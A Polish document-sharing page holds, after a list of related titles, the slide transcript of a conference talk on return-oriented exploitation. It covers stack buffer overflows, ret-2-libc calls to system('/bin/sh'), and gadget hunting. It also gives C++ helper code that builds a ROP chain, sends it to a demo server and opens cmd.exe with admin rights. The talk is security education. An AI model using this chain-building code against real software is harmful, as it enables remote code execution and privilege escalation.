Return-oriented exploiting

Podobne dokumenty
Programowanie Niskopoziomowe

Przepełnienie bufora i łańcuchy formatujace

Programowanie Niskopoziomowe

Ćwiczenie 3. Konwersja liczb binarnych

Buffer Overflow (art. 2) by h07

Programowanie w asemblerze Aspekty bezpieczeństwa

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Programowanie niskopoziomowe

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/ / 24

Metody Realizacji Języków Programowania

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.

x86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Błędy łańcuchów formatujących (format string) by h07


HISPASEC. Praktyczne podejście do testowania bezpieczeństwa implementacji obsługi formatów danych. by Gynvael Coldwind

Architektura komputerów

Pobieranie argumentów wiersza polecenia

Parę słów o przepełnieniu bufora.

PROGRAMOWANIE NISKOPOZIOMOWE

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Zadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów

Assembler w C++ Syntaksa AT&T oraz Intela

002 Opcode Strony projektu:

Język ludzki kod maszynowy

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 16 kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27

Wstęp do Programowania, laboratorium 02

Struktury. Przykład W8_1

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych.

Adam Zabrocki (lub oficjalnie:

Zasady programowania Dokumentacja

Adam Kotynia, Łukasz Kowalczyk

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Podstawy programowania, Poniedziałek , 8-10 Projekt, część 1

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 26 marca kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 40

Architektura komputerów. Asembler procesorów rodziny x86

Krótkie wprowadzenie do korzystania z OpenSSL

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.

CSAW CTF Qualification Round 2015 Rhinoxorus

Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego

Wstęp do programowania

[ Odnajdywanie shellcodu w procesach zdalnych. ]

Podstawy języka skryptowego Lua

Wstęp do Reverse engineeringu

Programowanie w C++ Wykład 2. Katarzyna Grzelak. 4 marca K.Grzelak (Wykład 1) Programowanie w C++ 1 / 44

Optymalizacja szelkodów w Linuksie

Programowanie Równoległe wykład, CUDA, przykłady praktyczne 1. Maciej Matyka Instytut Fizyki Teoretycznej

Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA

Architektura systemów komputerowych Laboratorium 8 Symulator SMS32 Instrukcje skoku i pętle

Procesy. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 9 października 2011

I - Microsoft Visual Studio C++

Programowanie Obiektowo Zorientowane w języku c++ Przestrzenie nazw

Programowanie hybrydowe łączenie C/C++ z asemblerem

Lab 8. Tablice liczbowe cd,. Operacje macierzowo-wektorowe, memcpy, memmove, memset. Wyrażenie warunkowe.

Pętle i tablice. Spotkanie 3. Pętle: for, while, do while. Tablice. Przykłady

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach

RPC. Zdalne wywoływanie procedur (ang. Remote Procedure Calls )

PROGRAMOWANIE NISKOPOZIOMOWE

Podstawy informatyki. Informatyka stosowana - studia niestacjonarne. Grzegorz Smyk. Wydział Inżynierii Metali i Informatyki Przemysłowej

Techniki programowania INP001002Wl rok akademicki 2018/19 semestr letni. Wykład 8. Karol Tarnowski A-1 p.

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.

Bloki anonimowe w PL/SQL

Architektura komputerów

Materiał. Typy zmiennych Instrukcje warunkowe Pętle Tablice statyczne Funkcje Wskaźniki Referencje Tablice dynamiczne Typ string Przeładowania funkcji

Informacje wstępne #include <nazwa> - derektywa procesora umożliwiająca włączenie do programu pliku o podanej nazwie. Typy danych: char, signed char

Programowanie w elektronice: Podstawy C

Wskaźnik może wskazywać na jakąś zmienną, strukturę, tablicę a nawet funkcję. Oto podstawowe operatory niezbędne do operowania wskaźnikami:

ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02

Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów

Temat 1. Podstawy Środowiska Xcode i wprowadzenie do języka Objective-C

Ćwiczenie nr 6. Programowanie mieszane

Architektura komputerów

Języki C i C++ Wykład: 2. Wstęp Instrukcje sterujące. dr Artur Bartoszewski - Języki C i C++, sem. 1I- WYKŁAD

Programowanie strukturalne język C - wprowadzenie

PROGRAMY REZYDENTNE Terminate and State Resident, TSR

Instrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada

Signals + Threads: Qt vs. Boost

Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak

Tablice, funkcje - wprowadzenie

Shellcody a architektura MIPS na systemach IRIX. Adam Zabrocki.

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych

Poniższe funkcje opisane są w 2 i 3 części pomocy systemowej.

Automatyczne tworzenie operatora = Integer2& operator=(const Integer& prawy) { zdefiniuje. Integer::operator=(ri);

NETBEANS PROFILER TOMASZ ŁUKASZUK

dr inż. Jarosław Forenc

Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi.

Grzegorz Cygan. Wstęp do programowania mikrosterowników w języku C

Programowanie w asemblerze Uruchamianie programów

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

Szablony funkcji i szablony klas

Automatyczne tworzenie operatora = Integer2& operator=(const Integer& prawy) {

Języki i metodyka programowania. Wprowadzenie do języka C

Podstawy programowania skrót z wykładów:

ZASADY PROGRAMOWANIA KOMPUTERÓW

Transkrypt:

HISPASEC Return-oriented exploiting by Gynvael Coldwind

Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. IT @ Hispasec - wcześniej ArcaBit - autor kilku artykułów (Hakin9 i Xploit) - prowadzi bloga technicznego (http://gynvael.coldwind.pl) - team Vexillium (http://vexillium.org) Return-oriented exploiting 2 /

Menu 1. Przypomnienie tematyki BO 2. Problem niewykonywalnego stosu 3. Enter teh ret-2-libc 4. Do czego wracać? 5. Pseudo-język pseudo-skryptowy 6. Skoki warunkowe i pętle 7. Luźne rozważania... 8. Czas na pytania Return-oriented exploiting 3 /

Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci śmieci śmieci ESP śmieci śmieci śmieci... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 4 /

Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci śmieci śmieci ESP śmieci EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 5 /

Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci ESP śmieci buffer śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 6 /

Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] buffer śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 7 /

Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 8 /

Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 9 /

Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 10 /

Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 11 /

Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer ESP argv[1] AAAA śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 12 /

Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 13 /

Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA AAAA... PROGRAM EIP = 0x41414141 (AAAA) Return-oriented exploiting 14 /

Stack Buffer Overflow Wystarczy zmienić dwie rzeczy w prezentowanym przykładzie aby wykonać dowolny, dostarczony przez atakującego, kod: 1. Shellcode w buforze lub po adresie RET 2. Nadpisanie RET adresem shellcode'u Return-oriented exploiting 15 /

Przeciwdziałanie skutkom BO 1. Losowy adres stosu Return-oriented exploiting 16 /

Przeciwdziałanie skutkom BO 1. Losowy adres stosu 2. Niewykonywalny stos (NX/XD) Return-oriented exploiting 17 /

Enter teh ret-2-libc return to libc technika wykorzystywania stack buffer overflow polegająca na użyciu istniejącego kodu zawartego w bibliotekach oraz w samej aplikacji Return-oriented exploiting 18 /

Enter teh ret-2-libc Rok 1997: Solar Designer tworzy pierwszy exploit typu ret-2-libc (http://insecure.org/sploits/linux.libc.return.lpr.sploit.html) Return-oriented exploiting 19 /

Enter teh ret-2-libc Rok 1997: Solar Designer tworzy pierwszy exploit typu ret-2-libc (http://insecure.org/sploits/linux.libc.return.lpr.sploit.html) Rok 2001: Artykuł Nergal'a w Phrack 0x3a The advanced return-into-lib(c) exploits (http://www.phrack.com/issues.html?issue=58&id=4) Return-oriented exploiting 20 /

Enter teh ret-2-libc Rok 2008: Erik Buchanan, Ryan Roemer, Stefan Savage i Hovav Shacham z University of California Return-oriented Programming @ BlackHat (http://www.cse.ucsd.edu/~hovav/talks/blackhat08.html) Return-oriented exploiting 21 /

Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp Return-oriented exploiting 22 /

Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp 1. Znajdź w pamięci instrukcję jmp ESP (FF E4) lub call ESP (FF D4) Return-oriented exploiting 23 /

Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp 1. Znajdź w pamięci instrukcję jmp ESP (FF E4) lub call ESP (FF D4) 2. Nadpisz RET adresem tej instrukcji (zakładając że shellcode jest po RET) Return-oriented exploiting 24 /

Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 Vista kernel32.dll 1 0 Vista ntdll.dll 3 2 Vista gdi32.dll 1 2 Vista user32.dll 28 60 Return-oriented exploiting 25 /

Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 XP2 user32.dll 69 17 XP2 kernel32.dll 0 2 XP2 ntdll.dll 1 3 XP3 kernel32.dll 1 2 Return-oriented exploiting 26 /

Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 OSX Foundation ~306 ~354 OSX CoreFoundation ~153 ~93 Return-oriented exploiting 27 /

Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 libc-2.3.6.so 92 21 linux-gate.so.1 1* 0* Return-oriented exploiting 28 /

Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA RET argc argv envp śmieci............ Return-oriented exploiting 29 /

Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() argc argv envp śmieci............ Return-oriented exploiting 30 /

Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() argv envp śmieci............ Return-oriented exploiting 31 /

Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() adres /bin /sh\0 śmieci......... Return-oriented exploiting 32 /

Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() adres /bin /sh\0 śmieci......... EIP = instrukcja ret w main() Return-oriented exploiting 33 /

Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA ESP system() exit() adres /bin /sh\0 śmieci......... EIP = system( /bin/sh ) Return-oriented exploiting 34 /

Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA ESP system() ESP exit() adres /bin /sh\0 śmieci......... EIP = exit(0x6e69622f) Return-oriented exploiting 35 /

Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos Wniosek: Atakujący spowodował uruchomienie shell'a, mimo iż CPU nie wykonał żadnej instrukcji dostarczonej przez atakującego! Return-oriented exploiting 36 /

Do czego wracać? ret-2-??? Return-oriented exploiting 37 /

Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! Return-oriented exploiting 38 /

Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) Return-oriented exploiting 39 /

Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application Return-oriented exploiting 40 /

Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data Return-oriented exploiting 41 /

Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers Return-oriented exploiting 42 /

Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers - ret-2-shared-memory Return-oriented exploiting 43 /

Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers - ret-2-shared-memory - ret-2-mapped-files Return-oriented exploiting 44 /

Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-anything Return-oriented exploiting 45 /

Do czego wracać? Do czego warto wracać? Return-oriented exploiting 46 /

Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X Return-oriented exploiting 47 /

Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X POP rejestr + JMP rejestr Return-oriented exploiting 48 /

Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X POP rejestr + JMP rejestr dowolna analogiczna sekwencja Return-oriented exploiting 49 /

Do czego wracać?!!! WAŻNE!!! Oprócz sekwencji celowo zakończonych opcodem RET (C3) lub RETN (C2) możemy powracać również do sekwencji w których wystąpienie C3/C2 jest przypadkowe! Return-oriented exploiting 50 /

Do czego wracać? Przykład: mov eax, 0x0000C358 Return-oriented exploiting 51 /

Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C3 00 00 Return-oriented exploiting 52 /

Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C3 00 00 mov eax, 0x0000C358 Return-oriented exploiting 53 /

Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C3 00 00 mov eax, 0x0000C358 pop eax ret Return-oriented exploiting 54 /

Do czego wracać? Wyszukiwanie sekwencji... Return-oriented exploiting 55 /

Do czego wracać? Wyszukiwanie sekwencji... Dla każdego bajtu: 1. Jeżeli bajt jest równy C3 lub C2: 1.1. Cofnij się o 10 bajtów 1.2. Zdisassembluj instrukcje 1.3. Idź do nastepnego bajtu 1.4. Jeżeli nie dotarłeś jeszcze do C3/C2, idź do punktu 1.2. 2. Idź do następnego bajtu Return-oriented exploiting 56 /

Do czego wracać? Wyszukiwanie sekwencji... Należy wykonać zaprezentowany algorytm dla każdego obszaru pamięci wykonywalnej atakowanej aplikacji. Wynikiem działania algorytmu jest lista sekwencji instrukcji i ich adresów. Return-oriented exploiting 57 /

Do czego wracać? DEMO 01 i 02 Return-oriented exploiting 58 /

Do czego wracać? Co ciekawego znalazł rta_finder.exe? Return-oriented exploiting 59 /

Do czego wracać? Co ciekawego znalazł rta_finder.exe? ---- RTA @ 6678a0c2 ---- (2) POP ECX RET SetECX(a) 6678a0c2 a Return-oriented exploiting 60 /

Do czego wracać? Co ciekawego znalazł rta_finder.exe? ---- RTA @ 77c3cb2a ---- (2) POP EDX RET SetEDX(a) 77c3cb2a a Return-oriented exploiting 61 /

Do czego wracać? Co ciekawego znalazł rta_finder.exe? ---- RTA @ 77c33c42 ---- (3) MOV [EDX], ECX RET Poke(a,b) SetECX(a) SetECX(b) 77c33c42 Return-oriented exploiting 62 /

Pseudo-język pseudo-skryptowy Ułatwiamy sobie tworzenie exploitów! Potrzebne będą: - Komplikator języka C++ - Nasz ulubiony edytor Return-oriented exploiting 63 /

Pseudo-język pseudo-skryptowy vector<dword> exploit; exploit.resize(20); #define ADDR_SETECX 0x6678a0c1 void SetECX(DWORD a) { exploit.push_back(addr_setecx); exploit.push_back(a); } Return-oriented exploiting 64 /

Pseudo-język pseudo-skryptowy #define ADDR_SETEDX 0x77c3cb29 void SetEDX(DWORD a) { } exploit.push_back(addr_setedx); exploit.push_back(a); Return-oriented exploiting 65 /

Pseudo-język pseudo-skryptowy #define ADDR_POKE 0x77c33c40 void Poke(DWORD dst, DWORD a) { } SetECX(a); SetEDX(dst); exploit.push_back(addr_poke); Return-oriented exploiting 66 /

Pseudo-język pseudo-skryptowy void Emit(DWORD dst, const void *what, DWORD count) { } DWORD *dwhat = (DWORD*)what; for(; count >= 4; dst+=4, count-=4, dwhat++) Poke(dst, *dwhat); Return-oriented exploiting 67 /

Pseudo-język pseudo-skryptowy void Emit(DWORD dst, const void *what, DWORD count) { } DWORD *dwhat = (DWORD*)what; for(; count >= 4; dst+=4, count-=4, dwhat++) Poke(dst, *dwhat); Return-oriented exploiting 68 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami STOS addr śmieci następny funkcji RET... ESP śmieci arg1 arg2 oczekiwany RET arg3............ EIP = X Return-oriented exploiting 69 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg3............ EIP = addr funkcji Return-oriented exploiting 70 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg3............ EIP = następny RET Return-oriented exploiting 71 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg3............ EIP = arg1 Return-oriented exploiting 72 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami addr funkcji STOS adres POP x3... ESP śmieci śmieci arg1 arg2 oczekiwany RET arg3............ pop EAX pop EDX pop EBP ret EIP = X Return-oriented exploiting 73 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... oczekiwany RET addr funkcji STOS adres POP x3 ESP śmieci arg1 arg2 arg3............ pop EAX pop EDX pop EBP ret EIP = addr funkcji Return-oriented exploiting 74 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... oczekiwany RET addr funkcji śmieci STOS adres POP x3 ESP arg1 arg2 arg3............ pop EAX pop EDX pop EBP ret EIP = pop EAX Return-oriented exploiting 75 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... oczekiwany RET addr funkcji śmieci STOS adres POP x3 ESP arg1 arg2 arg3............ pop EAX pop EDX pop EBP ret EIP = pop EDX Return-oriented exploiting 76 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... oczekiwany RET addr funkcji śmieci STOS adres POP x3 arg1 ESP arg2 arg3............ pop EAX pop EDX pop EBP ret EIP = pop EBP Return-oriented exploiting 77 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... ESP oczekiwany RET addr funkcji śmieci STOS adres POP x3 arg1 arg2 arg3............ pop EAX pop EDX pop EBP ret EIP = ret Return-oriented exploiting 78 /

Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami...... oczekiwany ESP RET addr funkcji śmieci STOS adres POP x3 arg1 arg2 arg3............ pop EAX pop EDX pop EBP ret EIP = oczekiwany RET Return-oriented exploiting 79 /

Pseudo-język pseudo-skryptowy void Call_system(DWORD what) { exploit.push_back( } GetAPIAddress( "msvcrt.dll", "system")); exploit.push_back(addr_setecx); exploit.push_back(what); Return-oriented exploiting 80 /

Pseudo-język pseudo-skryptowy DWORD GetAPIAddress( const char *lib, const char *name) { return (DWORD)GetProcAddress( GetModuleHandle(lib), name); } Return-oriented exploiting 81 /

Pseudo-język pseudo-skryptowy Exploitujemy server.exe! Quest: Odpalić cmd.exe z prawami usera admin. Return-oriented exploiting 82 /

Pseudo-język pseudo-skryptowy exploit.resize(28 / 4); DWORD SomeFreeSpace=0x00406058; Emit(SomeFreeSpace, "c:\\windows\\system32" "\\cmd.exe\0", 28); Call_system(SomeFreeSpace); Return-oriented exploiting 83 /

Pseudo-język pseudo-skryptowy NetSock s; s.connect("127.0.0.1", 33333); s.write( &exploit[0], exploit.size()*4); s.disconnect(); Return-oriented exploiting 84 /

Pseudo-język pseudo-skryptowy DEMO 03 Return-oriented exploiting 85 /

Skoki i pętle Mechanizm skoków - labele (kompilacja jednoprzebiegowa) struct StrCmp { bool operator()( const char* s1, const char* s2) const { return strcmp( s1, s2 ) < 0; } }; map<const char*, DWORD, StrCmp> labels; Return-oriented exploiting 86 /

Skoki i pętle Mechanizm skoków - labele (kompilacja jednoprzebiegowa) void Label(const char *label) { labels[strdup(label)] = exploit.size() * 4; } Return-oriented exploiting 87 /

Skoki i pętle Skok bezwarunkowy: (Ważne: ESP jest naszym EIP!) ---- RTA @ 77e942dd ---- (2) ADD ESP, [EBX] RET Return-oriented exploiting 88 /

Skoki i pętle Skok bezwarunkowy: (Ważne: ESP jest naszym EIP!) void Jump(const char *label) { DWORD Current = (exploit.size() + 8) * 4; DWORD RelJump = labels[label] - Current; Poke(SOME_FREE_SPACE, RelJump); SetEBX(SOME_FREE_SPACE); exploit.push_back(addr_addesppebx); } Return-oriented exploiting 89 /

Skoki i pętle Skok bezwarunkowy: Przykład użycia (pętla nieskończona): Label("start"); Jump("start"); Return-oriented exploiting 90 /

Skoki i pętle Skok bezwarunkowy: Przykład użycia (pętla nieskończona): DEMO 04 Return-oriented exploiting 91 /

Skoki i pętle Skoki w przód: Należy zrobić dwuprzebiegową kompilacje, z opóźnionym uzupełnianiem exploita. Wywołanie funkcji i niszczenie stosu: Funkcje korzystając ze stosu niszczą go, przez co przeplatanie pętli z wywołaniami funkcji jest utrudnione. Return-oriented exploiting 92 /

Skoki i pętle Skoki warunkowe: Nie możemy używać Jcc (jnz, jne, etc) ponieważ Jcc zmienia EIP a nie ESP! Co zamiast Jcc? Return-oriented exploiting 93 /

Skoki i pętle SETcc i trochę matematyki! :) Return-oriented exploiting 94 /

Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 Return-oriented exploiting 95 /

Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B B B Return-oriented exploiting 96 /

Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL B B 0 1 Return-oriented exploiting 97 /

Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX B B 0 1 FFFFFFFF 0 Return-oriented exploiting 98 /

Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX B B 0 1 FFFFFFFF 0 0 FFFFFFFF Return-oriented exploiting 99 /

Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX AND EAX, A B B 0 1 FFFFFFFF 0 0 FFFFFFFF 0 A Return-oriented exploiting 100/

Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX AND EAX, A B B 0 1 FFFFFFFF 0 ADD ESP, EAX 0 FFFFFFFF 0 A Return-oriented exploiting 101/

Skoki i pętle Zamiast TEST i SETcc można pobrać rejestr EFLAGS i na nim operować. (Return-oriented programming @ BH 2008) Return-oriented exploiting 102/

Luźne rozważania... A tak naprawdę wystarczy zapis do pamięci... (VirtualAlloc, rozpakowanie kodu, RET) Return-oriented exploiting 103/

Luźne rozważania... Anty ret-2-anything czyli ASLR: Vista vs OS X vs Linux-based Return-oriented exploiting 104/

Luźne rozważania... A gdyby tak użyć ret-2-anything jako zabezpieczenie przed RE? (trace) Return-oriented exploiting 105/

Luźne rozważania... Kompilacja C/Pascala/Javy do RTA? Return-oriented exploiting 106/

The End Dziękuje za uwagę! Czas na pytania ;> -=(* e-mail *)=gynvael@coldwind.pl michael@hispasec.com -=(* blog *)=http://gynvael.coldwind.pl Return-oriented exploiting 107/